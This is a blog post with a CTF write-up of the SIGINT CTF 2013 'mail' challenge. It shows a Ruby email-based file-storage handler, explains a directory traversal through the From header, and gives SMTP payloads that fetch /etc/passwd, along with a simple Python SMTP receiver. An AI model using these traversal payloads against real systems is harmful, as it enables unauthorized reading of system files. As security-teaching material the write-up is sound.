Monday, July 8, 2013

SIGINT CTF 2013: Task mail (100 pts)

Task description:
Date: Sun, 30 Jun 2013 13:37:00 +0200
From: sales@cloud.cloud
To: hans@ck.er
message-id: c524e67c59dfd30c511baeda8197fc9a@cloud.cloud
Subject: Re: Evaluation of your B2B Storage Cloud Solution
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="--==_mimepart_51d5c59b14bda_1fbbba2fe89623d";
charset=UTF-8Content-Transfer-Encoding: 7bit

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d
Mime-Version: 1.0
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: 7bit

Dear Customer,

I am glad you are considering our Cloud for your large scale needs. In
response to your desire to evaluate the security of our cloud, I have
attached all relevant sourcecode to this mail. Our trained technicians
ensured me, of it beeing only best quality software. You will not be
disapointed. We have also set up a test deployment especially for you,
you may access it through test@b3.ctf.sigint.ccc.de.

We have invested quite a lot of money to be able to deliver you such
cloud service. As you may already know most insecure cloud offerings
are based the HTTP protocol. We have identified e-mail, which is the
backbone of modern business, as the optimal approach to deliver you
a secure and reliable cloud.

Looking forward to our business relationship.

Best regards from your
cloud.cloud sales represantitive

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d
Mime-Version: 1.0
Content-Type: application/x-bzip2;
charset=UTF-8;
filename=source.tar.bz2
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=source.tar.bz2

QlpoOTFBWSZTWVV5xz8ABVX/htSwBAB8//+35y/dHv////8ACAACAAhgBx8c
qUKHoAAAAABw0MmmhpkaGmRkGRkaGQGJoyaAMmRiGOGhk00NMjQ0yMgyMjQy
AxNGTQBkyMQw0BEUekYmag0D0g0AZAAAAGjRoAGqm1Mg0yAepoaAABppoaAN
AGgAAMcNDJpoaZGhpkZBkZGhkBiaMmgDJkYhhIkTQCaEYRiEyZNDSaanqGyT
J5TT9UaZqDyanqeKe4/H8LNpP6iB0AS5uioI51wxmURnGCI3O9IRnY2MaQMA
YhjSGkmkwYMYB8uP/b5UlL9DxngaPU2yt/qe4rLDaUSXoOvCd6p3y7dYqwTw
CrB1T7NES8t1gnYZSyGNVSVUtwQMJR8njVDaG41W1AmjKKyU0S9BTKFJ69J4
WbkAplQLImFcXBOViRRcNsOIG0j+G3SQGNK326cRfMvWcqrVpgbiVxrbgwYw
DCDjew98g8PTByWZJpQoZjN0mcShSiak1YKwq1WXMndURZbfFR1cMaaXU7Ll
A2qzsIpXCd9zlhZjeSJlFk1dfZVjdXf0rMlXmzRmE1mGcUjHNlVsAYfgBhsL
TqjbyxlC3O8gS+oxI629TiJzSUkAVLsmO1E8JfIO2H/MjLLe1942mkDEwPp5
cJKGE5ZGSw44B58bD2swCvz0MwMbSHlETZTBJftpnJ80GucGdqVH6ZI7dkfY
ZwqT8/s9nozpaYQaNESDmw0ghmiCBnd9y4eFIv5QONHt+ALVufvxOQ2SCvK8
3cRd2uFAn+AcUKIxYEcjh4oHMl2SbyYCUZ9oRmqCByCi9GBVWm8PeHXx2jpz
olm75HtDeEfRIgD3fD+QpA944D1B+wZqv0Vy8b5f8XF1YzzOkEBXI78DPUqX
zVlCa8ymN1/mENqy+kgjypHMbT1n5Esj9Rh9tFv7TedUm/3dlDGtR4WMKEnJ
tXSIRQPEEzxG7hXmAAxsysUdQQFFF4DQFjmeTEnbmDsnMC4DAG7BSA0eMLeI
OAHSbvRf/Fo8H2hjdKYbw5g3aPGsyPuD0x3znvWaAhbMLT8jrXYGsaQ2etAb
EJqO49hMXmQjubbGMGQgVEqkUSi0G4o26hsJo2nrPIDFS+zBCsXUzUIXvGm0
Hza6AI1HOpIQ5vzww+VxBMTJd5cSwEHxKGLR1OHw0dlmnYvj3lZYHZIR/UvN
VGTpfFNNITYjRGpIVZIQ2AYkQSEmxe9w2DedpQ0VuCBgG9oCLOGB/Z3TPzyF
xsSkidrSwi0uGHbubDWtw5cZZKcJbsZ6t8IkFVT12q5yklIgkNSJEAMl/0hQ
SUA0OEBCQphplYlqmI/8FBhMGfTrpkiriSrynSqKFWYukjJBZ0BZZZBXAPek
uRMISRoBVNpRYMoxAW9nKAcn+qlWaA5FbchMFt5EeIkplFcG8edJaFQ0c65x
lA06WQmOCzTADauROb6VCgm04hdsSYVHrUvgSpk4KDw10CiSXVoqMgLWhWUO
RAfXaF4Sr2x+DULnFqhIktBsr0htAuQuvMwE2gOHuEAQWBvM68EAYcqEY9z2
zjNnb5khQXnShfe0HgGisHM8KGOtiCCFXjI4xJZCPsPmcFsLdUc1rARIBrZn
gLmkhVc8tE0aHaCqUFvGE79W+Z2Fhjy2mYZtwJhLXF1yQHLh0nHkWgjegyTi
5IWAU9sjMKZWKXRHqJqENsB5gugZniSYNzSEwRetMCC1NJpSN6WoMyrEB8Ns
FolWiWrAixoO68FgJYC0IocgMhLq3CmvKlK9DQl0MQ+CRxBPmYg4Gc8gydeA
YpG5K+qA5yesODQNFnKgNmsJIXPLQtiXK+UgVd00yIlAAwUIscNjSCbQTOK2
yhYqNEliaSoJmyo1VIsOsySlrZQxA1hzxhca0NINHpNCQUaPPVIJBx3O1qSi
EpEPZkEtNKp2KrKo4rEqhhPSNtseiohJSYnkAjDycc0D2KwMUxjZsHaxjVTR
O4rIMUi9oWZKCEQUBz5nQtKrXMnGasA3XZQr5p1cRMagiBYxStmt2KtMdTci
FxIUFpVCIrnYgL9AQqFmGQZZFkiEsQrC9Oy0SmZJTBcTkfVKeh33iaavuCST
JhXIzZojxyyn3SgeqAvYOVUlIHDHt+p0F7XFRmxbDMDUjIuE9E0C6dxzs2sG
G24WDY/UCxElIPiK4tPHyhUhcxVzHr7TuBH/xdyRThQkFV5xz8A=

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d--
So as you can see, along with the message about new cloud software we also received
an attachment, which could be easily decoded using python: 
>>> from base64 import b64decode
>>> with open("encoded.txt", "r") as file: content = file.read().replace("\n", "")
...
>>> with open("source.tar.bz2", "w") as file: file.write(b64decode(content))
... 
After unpacking the archive, we ended up with handler.rb, a source of file storage system based on SMTP:
#!/usr/bin/ruby

require "pathname"
Dir.chdir(Pathname.new(__FILE__).dirname.to_s)

require "mail"

mail_size_limit= 16*1024
user_size_limit= 1024**2
users_dir= Pathname.new("user")

raw_incoming_mail= STDIN.read(mail_size_limit)
incoming_mail= Mail.new(raw_incoming_mail)

user= [incoming_mail.from].flatten[0].gsub('"', "")
exit 1 unless user
exit 1 unless user=~ /@/
subject= incoming_mail.subject
exit 1 unless subject
user_dir= users_dir + user.split("@", 2).reverse.join("___")
size_file= user_dir + ".size"
tmp_size_file= user_dir + ".size_tmp"

def send_response(original_mail, response_string, attachment= nil, response_subject=nil)
 Mail.deliver do |mail|
  to original_mail.from
  from original_mail.to
  subject response_subject || "Re: #{original_mail.subject}"
  add_file attachment if attachment
  body <<EOF
#{response_string}

--------
available commands:
signup
list
put
get <filename>
delete <filename>
share <filename> <user>
EOF
 end
end

def send_error(original_mail, error_string)
 Mail.deliver do |mail|
  to original_mail.from
  from original_mail.to
  subject "error Re: #{original_mail.subject}"
  body <<EOF
I am sorry to inform you, that your requested command could not be executed.
The reason is:

#{error_string}
EOF
 end
end

case subject
when "signup"
 if user_dir.directory?
  send_error(incoming_mail, "your are already signed up")
  exit
 end
 unless (user_dir+"../.signup_allowed").file?
  send_error(incoming_mail, "signup is currently disabled")
  exit
 end
 user_dir.mkdir
 size_file.open("w") { |f| f.puts 0 }
 send_response(incoming_mail, "signup successfull")
when "list"
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 file_listing= "your_files:\n" +
 user_dir.children.select do |file|
  file.basename.to_s[0] != ?.
 end.collect do |file|
  "#{file.basename} #{file.size/1024.0}Kb"
 end.join("\n")
 send_response(incoming_mail, file_listing)
when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 send_response(incoming_mail, "here is your requested file", file_path.to_s)
when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/
 file_name= $1
 second_user= $3
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___")
 second_size_file= second_user_dir + ".size"
 second_file_path= second_user_dir + file_name
 unless second_size_file.file?
  send_error(incoming_mail, "the given user is not signed up")
  exit
 end
 if second_file_path.exist?
  send_error(incoming_mail, "file cannot be shared for unknown reasons")
  exit
 end
 second_file_path.make_symlink(file_path.to_s.sub("user/", "../"))
 send_response(incoming_mail, "file shared", file_path.to_s)
when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_name[0] != ?. and file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 user_size-= file_path.size
 file_path.unlink
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 send_response(incoming_mail, "file deleted")
when "put"
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 attachment= incoming_mail.attachments[0]
 unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
  send_error(incoming_mail, "no valid attachment found")
  exit
 end
 file_path= user_dir+attachment.filename
 if file_path.exist?
  send_error(incoming_mail, "file already exists")
  exit
 end
 attachement_body= attachment.body.decoded
 user_size+= attachement_body.size
 if user_size > user_size_limit
  send_error(incoming_mail, "you have no space left")
  exit
 end
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 file_path.open("w") { |f| f.write attachement_body }
 send_response(incoming_mail, "file saved")
end
After a quick code analysis we noticed that there was directory traversal vulnerability in the "From" header ("user" variable) and its only requirement was to have a '@' character somewhere within the string. In order to exploit the flaw, we could send the following message to test@b3.ctf.sigint.ccc.de:

HELO vnd.name
MAIL FROM: <vnd@vnd.name>
DATA
From: vnd/../@vnd.name
Subject: list
.
QUIT

However, because the return message containing a listing was sent back to the address specified in the "From" header, and e-mail addresses containing a '/' character are usually considered invalid, we needed to either patch an existing SMTP server or, what seemed to be a better option, write a very basic one from scratch using handy libraries. Furthermore, some DNS changes of MX records were required to redirect e-mail traffic to our box. The source code of a trivial SMTP server is as follows:
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class RemoteServer(SMTPServer):
   no = 0
   def process_message(self, peer, mailfrom, rcpttos, data):
       filename = '%05d-%s.txt' % (self.no, datetime.now().strftime('%Y%m%d%H%M%S'))
       self.no += 1
       f = open(filename, 'w')
       f.write("%s\n%s\n%s\n" % (str(peer), str(mailfrom), str(rcpttos)))
       f.write(data)
       f.close
       print '%s saved.' % filename

def run():
   foo = RemoteServer(('0.0.0.0', 25), ('0.0.0.0', 25))
   try:
       asyncore.loop()
   except KeyboardInterrupt:
       pass

if __name__ == '__main__':
  run()

By using the above code, we could finally receive the list of registered users. As the flag was found in the /etc/passwd file (it took a while to guess that), we fetched it using the "get" method of the storage system.

HELO somehost
MAIL FROM: <vnd@vnd.name>
DATA
From: vnd/../../../../etc/@vnd.name
Subject: get passwd
.
QUIT

The file was sent in the attachment format, so we needed to unpack it again. The original contents of the file were as shown below:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
challenge:x:1000:1000:SIGINT_do_not_trust_mail_addresses_17808d2cf719541b:/home/challenge:/bin/bash
postfix:x:106:114::/var/spool/postfix:/bin/false

The "SIGINT_do_not_trust_mail_addresses_17808d2cf719541b" flag visibly stood out in the file. It worked right away, +100pts. :)

No comments:

Post a Comment